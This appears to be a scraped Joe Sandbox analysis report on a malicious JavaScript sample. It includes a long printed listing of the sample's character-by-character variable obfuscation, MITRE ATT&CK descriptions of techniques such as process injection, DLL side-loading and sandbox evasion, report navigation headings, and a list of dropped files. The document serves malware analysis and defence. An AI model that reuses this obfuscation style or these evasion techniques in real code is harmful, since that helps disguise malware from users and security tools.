1338	bpjqbwct = "o";
1339	bpjqbwct = "W";
1340	bpjqbwct = "A";
1341	bpjqbwct = "s";
1342	bpjqbwct = "K";
1343	bpjqbwct = "g";
1344	bpjqbwct = "M";
1345	bpjqbwct = "B";
1346	bpjqbwct = "Z";
1347	bpjqbwct = "n";
1348	bpjqbwct = "Q";
1349	bpjqbwct = "H";
1350	bpjqbwct = "f";
1351	bpjqbwct = "J";
1352	bpjqbwct = "Y";
1353	bpjqbwct = "K";
1354	bpjqbwct = "i";
1355	bpjqbwct = "l";
1356	bpjqbwct = "D";
1357	bpjqbwct = "l";
1358	bpjqbwct = "a";
1359	bpjqbwct = "A";
1360	bpjqbwct = "v";
1361	bpjqbwct = "U";
1362	bpjqbwct = "V";
1363	bpjqbwct = "V";
1364	bpjqbwct = "g";
1365	bpjqbwct = "O";
1366	bpjqbwct = "M";
1367	bpjqbwct = "M";
1368	bpjqbwct = "x";
1369	bpjqbwct = "m";
1370	bpjqbwct = "A";
1371	bpjqbwct = "m";
1372	bpjqbwct = "W";
1373	bpjqbwct = "N";
1374	bpjqbwct = "W";
1375	bpjqbwct = "W";
1376	bpjqbwct = "W";
1377	bpjqbwct = "u";
1378	bpjqbwct = "Q";
1379	bpjqbwct = "k";
1380	bpjqbwct = "E";
1381	jxnpx = "Y";
1382	jxnpx = "h";
1383	jxnpx = "X";
1384	jxnpx = "v";
1385	jxnpx = "s";
1386	jxnpx = "l";
1387	jxnpx = "O";
1388	jxnpx = "K";
1389	jxnpx = "c";
1390	jxnpx = "z";
1391	jxnpx = "y";
1392	jxnpx = "H";
1393	jxnpx = "I";
1394	jxnpx = "D";
1395	jxnpx = "C";
1396	jxnpx = "a";
1397	jxnpx = "d";
1398	jxnpx = "f";
1399	jxnpx = "V";
1400	jxnpx = "h";
1401	jxnpx = "n";
1402	jxnpx = "B";
1403	jxnpx = "X";
1404	jxnpx = "a";
1405	jxnpx = "r";
1406	jxnpx = "D";
1407	jxnpx = "C";
1408	jxnpx = "m";
1409	jxnpx = "b";
1410	jxnpx = "m";
1411	jxnpx = "e";
1412	jxnpx = "o";
1413	crhzhs = "R";
1414	crhzhs = "c";
1415	crhzhs = "v";
1416	crhzhs = "Z";
1417	crhzhs = "o";
1418	crhzhs = "d";
1419	crhzhs = "T";
1420	crhzhs = "Q";
1421	crhzhs = "l";
1422	crhzhs = "B";
1423	crhzhs = "D";
1424	crhzhs = "B";
1425	crhzhs = "d";
1426	crhzhs = "K";
1427	crhzhs = "R";
1428	crhzhs = "b";
1429	crhzhs = "u";
1430	crhzhs = "H";
1431	crhzhs = "e";
1432	crhzhs = "O";
1433	crhzhs = "M";
1434	crhzhs = "P";
1435	crhzhs = "j";
1436	crhzhs = "K";
1437	crhzhs = "F";
1438	crhzhs = "m";
1439	crhzhs = "U";
1440	crhzhs = "K";
1441	crhzhs = "f";
1442	crhzhs = "I";
1443	crhzhs = "u";
1444	crhzhs = "k";
1445	crhzhs = "i";
1446	crhzhs = "k";
1447	crhzhs = "\"";
1448	hnoacnf = "O";
1449	hnoacnf = "b";
1450	lawkvc = "G";
1451	lawkvc = "b";
1452	lawkvc = "P";
1453	lawkvc = "r";
1454	lawkvc = "q";
1455	lawkvc = "f";
1456	lawkvc = "r";
1457	lawkvc = "A";
1458	lawkvc = "i";
1459	lawkvc = "x";
1460	lawkvc = "s";
1461	lawkvc = "k";
1462	lawkvc = "l";
1463	lawkvc = "T";
1464	lawkvc = "L";
1465	lawkvc = "S";
1466	lawkvc = "R";
1467	lawkvc = "t";
1468	lawkvc = "L";
1469	lawkvc = "t";
1470	lawkvc = "F";
1471	lawkvc = "K";
1472	lawkvc = "V";
1473	lawkvc = "\\";
1474	hradt ( );	hradt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 251011677249918058.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\96d60ea9-f9ca-4e56-9d69-8115721e0d54.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2736

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2736

Windows Analysis Report
251011677249918058.js